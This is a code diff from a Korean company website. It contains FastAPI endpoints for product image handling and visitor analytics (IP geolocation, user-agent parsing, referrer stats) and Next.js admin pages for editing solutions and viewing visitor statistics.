new_image = ProductImage(
product_id=product_id,
image_url=filepath,
display_order=len(product.images) if product.images else 0
)
db.add(new_image)
db.commit()
return {"message": "Image uploaded successfully", "path": filepath}
@router.delete("/products/admin/images/{image_id}")
def delete_product_image(
image_id: int,
db: Session = Depends(get_db),
current_admin: Admin = Depends(get_current_admin)
):
"""Delete product image (admin only)"""
image = db.query(ProductImage).filter(ProductImage.id == image_id).first()
if not image:
raise HTTPException(status_code=404, detail="Image not found")
try:
os.remove(image.image_url)
except:
pass
db.delete(image)
db.commit()
return {"message": "Image deleted successfully"}

View File

@@ -0,0 +1,207 @@
"use client";
import { useEffect, useState } from "react";
import { useRouter, useParams } from "next/navigation";
import { useAuth } from "@/contexts/AuthContext";
import { solutionsApi, SolutionAdmin, getUploadUrl } from "@/lib/api";
import SolutionForm from "@/components/admin/SolutionForm";
import { Loader2, Upload, Trash2 } from "lucide-react";
import YouTubeVideoManager from "@/components/admin/YouTubeVideoManager";
export default function EditSolutionPage() {
const { token } = useAuth();
const router = useRouter();
const params = useParams();
const solutionId = Number(params.id);
const [solution, setSolution] = useState<SolutionAdmin | null>(null);
const [isLoading, setIsLoading] = useState(true);
const [isSubmitting, setIsSubmitting] = useState(false);
const [isUploading, setIsUploading] = useState(false);
const fetchSolution = async () => {
if (!token) return;
try {
const data = await solutionsApi.adminGetOne(solutionId, token);
setSolution(data);
} catch (err) {
alert("솔루션을 찾을 수 없습니다.");
router.push("/admin/solutions");
} finally {
setIsLoading(false);
}
};
useEffect(() => {
fetchSolution();
}, [token, solutionId]);
const handleSubmit = async (data: any) => {
if (!token) return;
setIsSubmitting(true);
try {
await solutionsApi.adminUpdate(solutionId, data, token);
alert("저장되었습니다.");
fetchSolution();
} catch (err) {
alert("저장에 실패했습니다.");
} finally {
setIsSubmitting(false);
}
};
const handleImageUpload = async (
e: React.ChangeEvent<HTMLInputElement>,
isMain: boolean
) => {
if (!token || !e.target.files?.[0]) return;
setIsUploading(true);
try {
await solutionsApi.adminUploadImage(
solutionId,
e.target.files[0],
isMain,
token
);
fetchSolution();
} catch (err) {
alert("이미지 업로드에 실패했습니다.");
} finally {
setIsUploading(false);
e.target.value = "";
}
};
const handleDeleteImage = async (imageId: number) => {
if (!token || !confirm("이미지를 삭제하시겠습니까?")) return;
try {
await solutionsApi.adminDeleteImage(imageId, token);
fetchSolution();
} catch (err) {
alert("이미지 삭제에 실패했습니다.");
}
};
if (isLoading) {
return (
<div className="flex items-center justify-center h-64">
<Loader2 className="w-8 h-8 animate-spin text-[#3B82F6]" />
</div>
);
}
if (!solution) return null;
return (
<div>
<h1 className="text-2xl font-bold text-gray-900 mb-8"> </h1>
<div className="grid grid-cols-1 lg:grid-cols-3 gap-8">
{/* Form */}
<div className="lg:col-span-2">
<SolutionForm
initialData={solution}
onSubmit={handleSubmit}
isSubmitting={isSubmitting}
/>
</div>
{/* Image Upload */}
<div className="space-y-6">
{/* Main Image */}
<div className="bg-white rounded-xl p-6 shadow-sm">
<h3 className="font-semibold text-gray-900 mb-4"> </h3>
{solution.main_image ? (
<div className="relative">
<img
src={getUploadUrl(solution.main_image)}
alt="Main"
className="w-full h-48 object-cover rounded-lg"
/>
<label className="absolute bottom-2 right-2 px-3 py-1.5 bg-white/90 text-sm font-medium rounded-lg cursor-pointer hover:bg-white transition-colors">
<input
type="file"
accept="image/*"
className="hidden"
onChange={(e) => handleImageUpload(e, true)}
disabled={isUploading}
/>
</label>
</div>
) : (
<label className="flex flex-col items-center justify-center h-48 border-2 border-dashed border-gray-200 rounded-lg cursor-pointer hover:border-[#3B82F6] transition-colors">
{isUploading ? (
<Loader2 className="w-8 h-8 animate-spin text-[#3B82F6]" />
) : (
<>
<Upload className="w-8 h-8 text-gray-400 mb-2" />
<span className="text-sm text-gray-500">
</span>
</>
)}
<input
type="file"
accept="image/*"
className="hidden"
onChange={(e) => handleImageUpload(e, true)}
disabled={isUploading}
/>
</label>
)}
</div>
{/* Additional Images */}
<div className="bg-white rounded-xl p-6 shadow-sm">
<h3 className="font-semibold text-gray-900 mb-4"> </h3>
<div className="grid grid-cols-2 gap-3 mb-4">
{solution.images?.map((img) => (
<div key={img.id} className="relative group">
<img
src={getUploadUrl(img.image_url)}
alt=""
className="w-full h-24 object-cover rounded-lg"
/>
<button
onClick={() => handleDeleteImage(img.id)}
className="absolute top-1 right-1 p-1 bg-red-500 text-white rounded opacity-0 group-hover:opacity-100 transition-opacity"
>
<Trash2 className="w-4 h-4" />
</button>
</div>
))}
</div>
<label className="flex items-center justify-center py-3 border-2 border-dashed border-gray-200 rounded-lg cursor-pointer hover:border-[#3B82F6] transition-colors">
{isUploading ? (
<Loader2 className="w-5 h-5 animate-spin text-[#3B82F6]" />
) : (
<>
<Upload className="w-5 h-5 text-gray-400 mr-2" />
<span className="text-sm text-gray-500"> </span>
</>
)}
<input
type="file"
accept="image/*"
className="hidden"
onChange={(e) => handleImageUpload(e, false)}
disabled={isUploading}
/>
</label>
</div>
{/* YouTube Videos */}
<YouTubeVideoManager
entityType="solution"
entityId={solutionId}
entityTitle={solution.title_ko}
/>
</div>
</div>
</div>
);
}

View File

@@ -0,0 +1,204 @@
"use client";
import { useEffect, useState } from "react";
import Link from "next/link";
import { useAuth } from "@/contexts/AuthContext";
import { solutionsApi, SolutionAdmin, getUploadUrl } from "@/lib/api";
import {
Plus,
Pencil,
Trash2,
Eye,
EyeOff,
Loader2,
Image as ImageIcon,
} from "lucide-react";
export default function SolutionsListPage() {
const { token } = useAuth();
const [solutions, setSolutions] = useState<SolutionAdmin[]>([]);
const [isLoading, setIsLoading] = useState(true);
const fetchSolutions = async () => {
if (!token) return;
try {
const data = await solutionsApi.adminGetAll(token);
setSolutions(data);
} catch (err) {
console.error("Failed to fetch solutions:", err);
} finally {
setIsLoading(false);
}
};
useEffect(() => {
fetchSolutions();
}, [token]);
const handleDelete = async (id: number) => {
if (!token || !confirm("정말 삭제하시겠습니까?")) return;
try {
await solutionsApi.adminDelete(id, token);
setSolutions(solutions.filter((s) => s.id !== id));
} catch (err) {
alert("삭제에 실패했습니다.");
}
};
const toggleActive = async (solution: SolutionAdmin) => {
if (!token) return;
try {
await solutionsApi.adminUpdate(
solution.id,
{ is_active: !solution.is_active },
token
);
setSolutions(
solutions.map((s) =>
s.id === solution.id ? { ...s, is_active: !s.is_active } : s
)
);
} catch (err) {
alert("상태 변경에 실패했습니다.");
}
};
if (isLoading) {
return (
<div className="flex items-center justify-center h-64">
<Loader2 className="w-8 h-8 animate-spin text-[#3B82F6]" />
</div>
);
}
return (
<div>
<div className="flex items-center justify-between mb-8">
<h1 className="text-2xl font-bold text-gray-900"> </h1>
<Link
href="/admin/solutions/new"
className="flex items-center px-4 py-2 bg-[#3B82F6] text-white font-medium rounded-lg hover:bg-[#2563EB] transition-colors"
>
<Plus className="w-5 h-5 mr-2" />
</Link>
</div>
<div className="bg-white rounded-xl shadow-sm overflow-hidden">
<table className="w-full">
<thead className="bg-gray-50 border-b">
<tr>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
</th>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
</th>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
</th>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
</th>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
</th>
<th className="px-6 py-4 text-left text-sm font-medium text-gray-500">
</th>
<th className="px-6 py-4 text-right text-sm font-medium text-gray-500">
</th>
</tr>
</thead>
<tbody className="divide-y">
{solutions.length === 0 ? (
<tr>
<td colSpan={7} className="px-6 py-12 text-center text-gray-500">
.
</td>
</tr>
) : (
solutions.map((solution) => (
<tr key={solution.id} className="hover:bg-gray-50">
<td className="px-6 py-4">
{solution.main_image ? (
<img
src={getUploadUrl(solution.main_image)}
alt={solution.title_ko}
className="w-16 h-12 object-cover rounded"
/>
) : (
<div className="w-16 h-12 bg-gray-100 rounded flex items-center justify-center">
<ImageIcon className="w-5 h-5 text-gray-400" />
</div>
)}
</td>
<td className="px-6 py-4">
<div className="font-medium text-gray-900">
{solution.title_ko}
</div>
{solution.title_en && (
<div className="text-sm text-gray-500">
{solution.title_en}
</div>
)}
</td>
<td className="px-6 py-4 text-sm text-gray-600">
{solution.icon || "-"}
</td>
<td className="px-6 py-4 text-sm text-gray-600">
{solution.color || "-"}
</td>
<td className="px-6 py-4 text-sm text-gray-600">
{solution.display_order}
</td>
<td className="px-6 py-4">
<button
onClick={() => toggleActive(solution)}
className={`flex items-center px-3 py-1 rounded-full text-xs font-medium ${
solution.is_active
? "bg-green-100 text-green-700"
: "bg-gray-100 text-gray-500"
}`}
>
{solution.is_active ? (
<>
<Eye className="w-3 h-3 mr-1" />
</>
) : (
<>
<EyeOff className="w-3 h-3 mr-1" />
</>
)}
</button>
</td>
<td className="px-6 py-4">
<div className="flex items-center justify-end space-x-2">
<Link
href={`/admin/solutions/${solution.id}`}
className="p-2 text-gray-400 hover:text-[#3B82F6] transition-colors"
>
<Pencil className="w-5 h-5" />
</Link>
<button
onClick={() => handleDelete(solution.id)}
className="p-2 text-gray-400 hover:text-red-500 transition-colors"
>
<Trash2 className="w-5 h-5" />
</button>
</div>
</td>
</tr>
))
)}
</tbody>
</table>
</div>
</div>
);
}

View File

@@ -0,0 +1,34 @@
"use client";
import { useState } from "react";
import { useRouter } from "next/navigation";
import { useAuth } from "@/contexts/AuthContext";
import { solutionsApi } from "@/lib/api";
import SolutionForm from "@/components/admin/SolutionForm";
export default function NewSolutionPage() {
const { token } = useAuth();
const router = useRouter();
const [isSubmitting, setIsSubmitting] = useState(false);
const handleSubmit = async (data: any) => {
if (!token) return;
setIsSubmitting(true);
try {
const solution = await solutionsApi.adminCreate(data, token);
router.push(`/admin/solutions/${solution.id}`);
} catch (err) {
alert("솔루션 생성에 실패했습니다.");
} finally {
setIsSubmitting(false);
}
};
return (
<div>
<h1 className="text-2xl font-bold text-gray-900 mb-8"> </h1>
<SolutionForm onSubmit={handleSubmit} isSubmitting={isSubmitting} />
</div>
);
}

424
temp_visitor_stats.tsx Normal file
View File

@@ -0,0 +1,424 @@
"use client";
import { useState, useEffect, useCallback } from "react";
import { useAuth } from "@/contexts/AuthContext";
import {
visitorsApi,
OverviewStats,
ChartData,
BreakdownData,
TopPagesData,
TopReferrersData,
RealtimeStats,
CountryStats,
} from "@/lib/api";
import {
Users,
Globe,
Monitor,
Smartphone,
Tablet,
TrendingUp,
TrendingDown,
RefreshCw,
BarChart3,
Activity,
} from "lucide-react";
export default function VisitorStatsPage() {
const { user, token } = useAuth();
const [days, setDays] = useState(30);
const [loading, setLoading] = useState(true);
const [overview, setOverview] = useState<OverviewStats | null>(null);
const [visitsChart, setVisitsChart] = useState<ChartData | null>(null);
const [uniqueChart, setUniqueChart] = useState<ChartData | null>(null);
const [deviceBreakdown, setDeviceBreakdown] = useState<BreakdownData | null>(null);
const [browserBreakdown, setBrowserBreakdown] = useState<BreakdownData | null>(null);
const [osBreakdown, setOsBreakdown] = useState<BreakdownData | null>(null);
const [topPages, setTopPages] = useState<TopPagesData | null>(null);
const [topReferrers, setTopReferrers] = useState<TopReferrersData | null>(null);
const [realtime, setRealtime] = useState<RealtimeStats | null>(null);
const [countryStats, setCountryStats] = useState<CountryStats[]>([]);
const fetchData = useCallback(async () => {
if (!token) return;
setLoading(true);
try {
const [
overviewRes,
visitsRes,
uniqueRes,
deviceRes,
browserRes,
osRes,
pagesRes,
referrersRes,
realtimeRes,
countryRes,
] = await Promise.all([
visitorsApi.adminGetOverview(token, days),
visitorsApi.adminGetVisitsChart(token, days),
visitorsApi.adminGetUniqueChart(token, days),
visitorsApi.adminGetDeviceBreakdown(token, days),
visitorsApi.adminGetBrowserBreakdown(token, days),
visitorsApi.adminGetOsBreakdown(token, days),
visitorsApi.adminGetTopPages(token, days),
visitorsApi.adminGetTopReferrers(token, days),
visitorsApi.adminGetRealtime(token),
visitorsApi.adminGetCountryStats(token),
]);
setOverview(overviewRes);
setVisitsChart(visitsRes);
setUniqueChart(uniqueRes);
setDeviceBreakdown(deviceRes);
setBrowserBreakdown(browserRes);
setOsBreakdown(osRes);
setTopPages(pagesRes);
setTopReferrers(referrersRes);
setRealtime(realtimeRes);
setCountryStats(countryRes);
} catch (error) {
console.error("Failed to fetch stats:", error);
} finally {
setLoading(false);
}
}, [token, days]);
useEffect(() => {
fetchData();
}, [fetchData]);
// Auto-refresh realtime stats every 30 seconds
useEffect(() => {
if (!token) return;
const interval = setInterval(async () => {
try {
const realtimeRes = await visitorsApi.adminGetRealtime(token);
setRealtime(realtimeRes);
} catch (error) {
console.error("Failed to refresh realtime:", error);
}
}, 30000);
return () => clearInterval(interval);
}, [token]);
if (!user?.is_admin) {
return (
<div className="p-6 text-center text-red-500">
Access denied. Admin only.
</div>
);
}
const getCountryFlag = (countryCode: string) => {
const flags: Record<string, string> = {
KR: "🇰🇷", US: "🇺🇸", JP: "🇯🇵", CN: "🇨🇳", DE: "🇩🇪",
GB: "🇬🇧", FR: "🇫🇷", CA: "🇨🇦", AU: "🇦🇺", IN: "🇮🇳",
RU: "🇷🇺", BR: "🇧🇷", MX: "🇲🇽", ES: "🇪🇸", IT: "🇮🇹",
LO: "🏠", "??": "🌍",
};
return flags[countryCode] || "🌍";
};
const getDeviceIcon = (deviceType: string) => {
switch (deviceType.toLowerCase()) {
case "mobile": return <Smartphone className="w-4 h-4" />;
case "tablet": return <Tablet className="w-4 h-4" />;
default: return <Monitor className="w-4 h-4" />;
}
};
// Simple bar chart component
const BarChart = ({ data, labels, color = "bg-blue-500" }: { data: number[], labels: string[], color?: string }) => {
const max = Math.max(...data, 1);
return (
<div className="flex items-end gap-1 h-40">
{data.map((value, index) => (
<div key={index} className="flex-1 flex flex-col items-center gap-1">
<div
className={`w-full ${color} rounded-t transition-all`}
style={{ height: `${(value / max) * 100}%`, minHeight: value > 0 ? "4px" : "0" }}
title={`${labels[index]}: ${value}`}
/>
{data.length <= 14 && (
<span className="text-xs text-gray-500 -rotate-45 origin-top-left whitespace-nowrap">
{labels[index]}
</span>
)}
</div>
))}
</div>
);
};
// Progress bar component
const ProgressBar = ({ percentage, color = "bg-blue-500" }: { percentage: number, color?: string }) => (
<div className="w-full bg-gray-200 rounded-full h-2.5">
<div className={`h-2.5 rounded-full ${color}`} style={{ width: `${percentage}%` }} />
</div>
);
return (
<div className="p-6 space-y-6">
{/* Header */}
<div className="flex justify-between items-center">
<div>
<h1 className="text-2xl font-bold text-gray-900">Visitor Statistics</h1>
<p className="text-gray-500">Detailed analytics for your website</p>
</div>
<div className="flex items-center gap-4">
{/* Period selector */}
<div className="flex bg-gray-100 rounded-lg p-1">
{[7, 14, 30, 90].map((d) => (
<button
key={d}
onClick={() => setDays(d)}
className={`px-3 py-1 rounded-md text-sm font-medium transition ${
days === d
? "bg-white text-blue-600 shadow"
: "text-gray-600 hover:text-gray-900"
}`}
>
{d}d
</button>
))}
</div>
{/* Realtime indicator */}
<div className="flex items-center gap-2 bg-green-50 text-green-700 px-3 py-1 rounded-full">
<Activity className="w-4 h-4 animate-pulse" />
<span className="text-sm font-medium">
{realtime?.active_visitors || 0} active
</span>
</div>
{/* Refresh button */}
<button
onClick={fetchData}
disabled={loading}
className="p-2 rounded-lg hover:bg-gray-100 transition"
>
<RefreshCw className={`w-5 h-5 text-gray-600 ${loading ? "animate-spin" : ""}`} />
</button>
</div>
</div>
{/* Overview Cards */}
<div className="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-4 gap-4">
<div className="bg-white rounded-xl shadow p-6">
<div className="flex items-center justify-between">
<div>
<p className="text-sm text-gray-500">Total Visits</p>
<p className="text-3xl font-bold text-gray-900">
{overview?.total_visits?.toLocaleString() || 0}
</p>
</div>
<div className="p-3 bg-blue-100 rounded-full">
<BarChart3 className="w-6 h-6 text-blue-600" />
</div>
</div>
<p className="text-sm text-gray-500 mt-2">Last {days} days</p>
</div>
<div className="bg-white rounded-xl shadow p-6">
<div className="flex items-center justify-between">
<div>
<p className="text-sm text-gray-500">Unique Visitors</p>
<p className="text-3xl font-bold text-gray-900">
{overview?.unique_visitors?.toLocaleString() || 0}
</p>
</div>
<div className="p-3 bg-green-100 rounded-full">
<Users className="w-6 h-6 text-green-600" />
</div>
</div>
<p className="text-sm text-gray-500 mt-2">
{overview?.pages_per_visit || 0} pages/visit
</p>
</div>
<div className="bg-white rounded-xl shadow p-6">
<div className="flex items-center justify-between">
<div>
<p className="text-sm text-gray-500">Today</p>
<p className="text-3xl font-bold text-gray-900">
{overview?.today_visitors || 0}
</p>
</div>
<div className={`p-3 rounded-full ${
(overview?.growth_rate || 0) >= 0 ? "bg-green-100" : "bg-red-100"
}`}>
{(overview?.growth_rate || 0) >= 0 ? (
<TrendingUp className="w-6 h-6 text-green-600" />
) : (
<TrendingDown className="w-6 h-6 text-red-600" />
)}
</div>
</div>
<p className={`text-sm mt-2 ${
(overview?.growth_rate || 0) >= 0 ? "text-green-600" : "text-red-600"
}`}>
{(overview?.growth_rate || 0) >= 0 ? "+" : ""}{overview?.growth_rate || 0}% vs yesterday
</p>
</div>
<div className="bg-white rounded-xl shadow p-6">
<div className="flex items-center justify-between">
<div>
<p className="text-sm text-gray-500">Mobile</p>
<p className="text-3xl font-bold text-gray-900">
{overview?.mobile_percentage || 0}%
</p>
</div>
<div className="p-3 bg-purple-100 rounded-full">
<Smartphone className="w-6 h-6 text-purple-600" />
</div>
</div>
<p className="text-sm text-gray-500 mt-2">of all visitors</p>
</div>
</div>
{/* Charts Row */}
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
{/* Daily Visits Chart */}
<div className="bg-white rounded-xl shadow p-6">
<h3 className="text-lg font-semibold text-gray-900 mb-4">Daily Visits</h3>
{visitsChart && (
<BarChart data={visitsChart.data} labels={visitsChart.labels} color="bg-blue-500" />
)}
</div>
{/* Unique Visitors Chart */}
<div className="bg-white rounded-xl shadow p-6">
<h3 className="text-lg font-semibold text-gray-900 mb-4">Unique Visitors</h3>
{uniqueChart && (
<BarChart data={uniqueChart.data} labels={uniqueChart.labels} color="bg-green-500" />
)}
</div>
</div>
{/* Country Stats */}
<div className="bg-white rounded-xl shadow p-6">
<h3 className="text-lg font-semibold text-gray-900 mb-4 flex items-center gap-2">
<Globe className="w-5 h-5" />
Visitors by Country
</h3>
<div className="space-y-3">
{countryStats.map((stat, index) => {
const total = countryStats.reduce((sum, s) => sum + s.visitor_count, 0);
const percentage = total > 0 ? (stat.visitor_count / total) * 100 : 0;
return (
<div key={index} className="flex items-center gap-3">
<span className="text-xl">{getCountryFlag(stat.country_code)}</span>
<span className="w-32 font-medium text-gray-700">{stat.country}</span>
<div className="flex-1">
<ProgressBar percentage={percentage} color="bg-blue-500" />
</div>
<span className="w-16 text-right text-gray-600">
{stat.visitor_count.toLocaleString()}
</span>
<span className="w-16 text-right text-gray-400">
({percentage.toFixed(1)}%)
</span>
</div>
);
})}
{countryStats.length === 0 && (
<p className="text-gray-500 text-center py-4">No country data available</p>
)}
</div>
</div>
{/* Breakdowns Row */}
<div className="grid grid-cols-1 md:grid-cols-3 gap-6">
{/* Device Breakdown */}
<div className="bg-white rounded-xl shadow p-6">
<h3 className="text-lg font-semibold text-gray-900 mb-4">Device Type</h3>
<div className="space-y-3">
{deviceBreakdown?.items.map((item, index) => (
<div key={index} className="flex items-center gap-3">
{getDeviceIcon(item.name)}
<span className="flex-1 text-gray-700 capitalize">{item.name}</span>
<span className="text-gray-600">{item.count}</span>
<span className="text-gray-400 w-12 text-right">({item.percentage}%)</span>
</div>
))}
{(!deviceBreakdown?.items || deviceBreakdown.items.length === 0) && (
<p className="text-gray-500 text-center py-2">No data</p>
)}
</div>
</div>
{/* Browser Breakdown */}
<div className="bg-white rounded-xl shadow p-6">
<h3 className="text-lg font-semibold text-gray-900 mb-4">Browser</h3>
<div className="space-y-3">
{browserBreakdown?.items.map((item, index) => (
<div key={index} className="flex items-center gap-3">
<span className="flex-1 text-gray-700">{item.name}</span>
<span className="text-gray-600">{item.count}</span>
<span className="text-gray-400 w-12 text-right">({item.percentage}%)</span>
</div>
))}
{(!browserBreakdown?.items || browserBreakdown.items.length === 0) && (
<p className="text-gray-500 text-center py-2">No data</p>
)}
</div>
</div>
{/* OS Breakdown */}
<div className="bg-white rounded-xl shadow p-6">
<h3 className="text-lg font-semibold text-gray-900 mb-4">Operating System</h3>
<div className="space-y-3">
{osBreakdown?.items.map((item, index) => (
<div key={index} className="flex items-center gap-3">
<span className="flex-1 text-gray-700">{item.name}</span>
<span className="text-gray-600">{item.count}</span>
<span className="text-gray-400 w-12 text-right">({item.percentage}%)</span>
</div>
))}
{(!osBreakdown?.items || osBreakdown.items.length === 0) && (
<p className="text-gray-500 text-center py-2">No data</p>
)}
</div>
</div>
</div>
{/* Top Pages & Referrers */}
<div className="grid grid-cols-1 lg:grid-cols-2 gap-6">
{/* Top Pages */}
<div className="bg-white rounded-xl shadow p-6">
<h3 className="text-lg font-semibold text-gray-900 mb-4">Top Pages</h3>
<div className="space-y-3">
{topPages?.pages.map((page, index) => (
<div key={index} className="flex items-center gap-3">
<span className="w-6 text-gray-400">{index + 1}.</span>
<span className="flex-1 text-gray-700 truncate font-mono text-sm">{page.path}</span>
<span className="text-gray-600">{page.count}</span>
</div>
))}
{(!topPages?.pages || topPages.pages.length === 0) && (
<p className="text-gray-500 text-center py-4">No page data available</p>
)}
</div>
</div>
{/* Top Referrers */}
<div className="bg-white rounded-xl shadow p-6">
<h3 className="text-lg font-semibold text-gray-900 mb-4">Top Referrers</h3>
<div className="space-y-3">
{topReferrers?.referrers.map((ref, index) => (
<div key={index} className="flex items-center gap-3">
<span className="w-6 text-gray-400">{index + 1}.</span>
<span className="flex-1 text-gray-700 truncate">{ref.domain}</span>
<span className="text-gray-600">{ref.count}</span>
</div>
))}
{(!topReferrers?.referrers || topReferrers.referrers.length === 0) && (
<p className="text-gray-500 text-center py-4">No referrer data available</p>
)}
</div>
</div>
</div>
</div>
);
}

461
temp_visitors.py Normal file
View File

@@ -0,0 +1,461 @@
from fastapi import APIRouter, Depends, Request, Query
from sqlalchemy.orm import Session
from sqlalchemy import func, desc
from datetime import date, datetime, timedelta
from typing import Optional, List
import httpx
import re
from app.core.database import get_db
from app.models.visitor import DailyVisitor, VisitorLog, VisitorDailyStats
from app.schemas.visitor import (
VisitorStatsResponse, CountryStatsResponse,
OverviewStatsResponse, ChartDataResponse, BreakdownResponse, BreakdownItem,
TopPagesResponse, TopPageItem, TopReferrersResponse, TopReferrerItem,
RealtimeStatsResponse
)
from app.api.auth import get_current_admin
router = APIRouter(prefix="/visitors", tags=["visitors"])
def get_ip_location(ip_address: str) -> dict:
"""Get location info from IP address using ip-api.com (free, no API key)"""
if ip_address in ("127.0.0.1", "localhost", "unknown") or ip_address.startswith(("192.168.", "10.", "172.")):
return {"country": "Local", "country_code": "LO", "city": "Local", "region": "Local"}
try:
with httpx.Client(timeout=3.0) as client:
response = client.get(f"http://ip-api.com/json/{ip_address}?fields=status,country,countryCode,city,regionName")
if response.status_code == 200:
data = response.json()
if data.get("status") == "success":
return {
"country": data.get("country", "Unknown"),
"country_code": data.get("countryCode", "??"),
"city": data.get("city", "Unknown"),
"region": data.get("regionName", "Unknown")
}
except Exception:
pass
return {"country": "Unknown", "country_code": "??", "city": "Unknown", "region": "Unknown"}
def get_client_ip(request: Request) -> str:
"""Get client IP address from request"""
forwarded = request.headers.get("X-Forwarded-For")
if forwarded:
return forwarded.split(",")[0].strip()
return request.client.host if request.client else "unknown"
def parse_user_agent(user_agent: str) -> dict:
"""Parse User-Agent string to extract device, browser, and OS info"""
result = {"device_type": "desktop", "browser": "Unknown", "os": "Unknown"}
if not user_agent:
return result
ua_lower = user_agent.lower()
# Detect device type
if any(x in ua_lower for x in ["mobile", "android", "iphone", "ipod"]):
result["device_type"] = "mobile"
elif any(x in ua_lower for x in ["ipad", "tablet"]):
result["device_type"] = "tablet"
# Detect browser
if "edg" in ua_lower:
result["browser"] = "Edge"
elif "chrome" in ua_lower and "chromium" not in ua_lower:
result["browser"] = "Chrome"
elif "safari" in ua_lower and "chrome" not in ua_lower:
result["browser"] = "Safari"
elif "firefox" in ua_lower:
result["browser"] = "Firefox"
elif "opera" in ua_lower or "opr" in ua_lower:
result["browser"] = "Opera"
elif "msie" in ua_lower or "trident" in ua_lower:
result["browser"] = "Internet Explorer"
# Detect OS
if "windows" in ua_lower:
result["os"] = "Windows"
elif "mac os" in ua_lower or "macintosh" in ua_lower:
if "iphone" in ua_lower or "ipad" in ua_lower:
result["os"] = "iOS"
else:
result["os"] = "macOS"
elif "android" in ua_lower:
result["os"] = "Android"
elif "linux" in ua_lower:
result["os"] = "Linux"
elif "iphone" in ua_lower or "ipad" in ua_lower:
result["os"] = "iOS"
return result
def extract_referrer_domain(referrer: str) -> str:
"""Extract domain from referrer URL"""
if not referrer:
return "(direct)"
try:
match = re.search(r'https?://([^/]+)', referrer)
if match:
domain = match.group(1)
if domain.startswith("www."):
domain = domain[4:]
return domain
except Exception:
pass
return "(direct)"
@router.post("/track")
def track_visitor(
request: Request,
page_path: Optional[str] = None,
referrer: Optional[str] = None,
db: Session = Depends(get_db)
):
"""Track a visitor with extended info"""
today = date.today()
ip_address = get_client_ip(request)
user_agent = request.headers.get("User-Agent", "")[:500]
existing_log = db.query(VisitorLog).filter(
VisitorLog.ip_address == ip_address,
VisitorLog.visit_date == today
).first()
if existing_log:
return {"message": "Already tracked", "new_visitor": False}
location = get_ip_location(ip_address)
ua_info = parse_user_agent(user_agent)
referrer_domain = extract_referrer_domain(referrer)
visitor_log = VisitorLog(
ip_address=ip_address,
user_agent=user_agent,
visit_date=today,
country=location["country"],
country_code=location["country_code"],
city=location["city"],
region=location["region"],
page_path=page_path,
referrer=referrer,
referrer_domain=referrer_domain,
device_type=ua_info["device_type"],
browser=ua_info["browser"],
os=ua_info["os"]
)
db.add(visitor_log)
daily_record = db.query(DailyVisitor).filter(
DailyVisitor.visit_date == today
).first()
if daily_record:
daily_record.visitor_count += 1
else:
daily_record = DailyVisitor(visit_date=today, visitor_count=1)
db.add(daily_record)
db.commit()
return {"message": "Tracked", "new_visitor": True}
@router.get("/stats", response_model=VisitorStatsResponse)
def get_visitor_stats(db: Session = Depends(get_db), _: str = Depends(get_current_admin)):
today = date.today()
today_record = db.query(DailyVisitor).filter(DailyVisitor.visit_date == today).first()
today_visitors = today_record.visitor_count if today_record else 0
total_result = db.query(func.sum(DailyVisitor.visitor_count)).scalar()
return VisitorStatsResponse(today_visitors=today_visitors, total_visitors=total_result or 0)
@router.get("/stats/public", response_model=VisitorStatsResponse)
def get_visitor_stats_public(db: Session = Depends(get_db)):
today = date.today()
today_record = db.query(DailyVisitor).filter(DailyVisitor.visit_date == today).first()
today_visitors = today_record.visitor_count if today_record else 0
total_result = db.query(func.sum(DailyVisitor.visitor_count)).scalar()
return VisitorStatsResponse(today_visitors=today_visitors, total_visitors=total_result or 0)
@router.get("/stats/countries", response_model=List[CountryStatsResponse])
def get_country_stats(db: Session = Depends(get_db), _: str = Depends(get_current_admin)):
country_stats = db.query(
VisitorLog.country, VisitorLog.country_code,
func.count(VisitorLog.id).label("visitor_count")
).group_by(VisitorLog.country, VisitorLog.country_code).order_by(
func.count(VisitorLog.id).desc()
).limit(10).all()
return [
CountryStatsResponse(
country=stat.country or "Unknown",
country_code=stat.country_code or "??",
visitor_count=stat.visitor_count
)
for stat in country_stats
]
# ============ Extended Statistics Endpoints ============
@router.get("/admin/overview", response_model=OverviewStatsResponse)
def get_overview_stats(
days: int = Query(default=30, ge=7, le=90),
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
"""Get comprehensive overview statistics"""
today = date.today()
start_date = today - timedelta(days=days)
yesterday = today - timedelta(days=1)
total_visits = db.query(func.sum(DailyVisitor.visitor_count)).filter(
DailyVisitor.visit_date >= start_date
).scalar() or 0
unique_visitors = db.query(func.count(func.distinct(VisitorLog.ip_address))).filter(
VisitorLog.visit_date >= start_date
).scalar() or 0
pages_per_visit = round(total_visits / max(unique_visitors, 1), 1)
total_with_device = db.query(func.count(VisitorLog.id)).filter(
VisitorLog.visit_date >= start_date,
VisitorLog.device_type.isnot(None)
).scalar() or 0
mobile_count = db.query(func.count(VisitorLog.id)).filter(
VisitorLog.visit_date >= start_date,
VisitorLog.device_type == "mobile"
).scalar() or 0
mobile_percentage = round((mobile_count / max(total_with_device, 1)) * 100, 1)
today_record = db.query(DailyVisitor).filter(DailyVisitor.visit_date == today).first()
today_visitors = today_record.visitor_count if today_record else 0
yesterday_record = db.query(DailyVisitor).filter(DailyVisitor.visit_date == yesterday).first()
yesterday_visitors = yesterday_record.visitor_count if yesterday_record else 0
if yesterday_visitors > 0:
growth_rate = round(((today_visitors - yesterday_visitors) / yesterday_visitors) * 100, 1)
else:
growth_rate = 0.0 if today_visitors == 0 else 100.0
return OverviewStatsResponse(
period=f"{days}d",
total_visits=total_visits,
unique_visitors=unique_visitors,
pages_per_visit=pages_per_visit,
mobile_percentage=mobile_percentage,
today_visitors=today_visitors,
yesterday_visitors=yesterday_visitors,
growth_rate=growth_rate
)
@router.get("/admin/chart/visits", response_model=ChartDataResponse)
def get_visits_chart(
days: int = Query(default=30, ge=7, le=90),
db: Session = Depends(get_db),
_: str = Depends(get_current_admin)
):
"""Get daily visits chart data"""
today = date.today()
start_date = today - timedelta(days=days-1)
records = db.query(DailyVisitor).filter(
DailyVisitor.visit_date >= start_date,
DailyVisitor.visit_date <= today
).order_by(DailyVisitor.visit_date).all()
record_dict = {r.visit_date: r.visitor_count for r in records}
labels = []
data = []
current = start_date
while current <= today:
labels.append(current.strftime("%m/%d"))
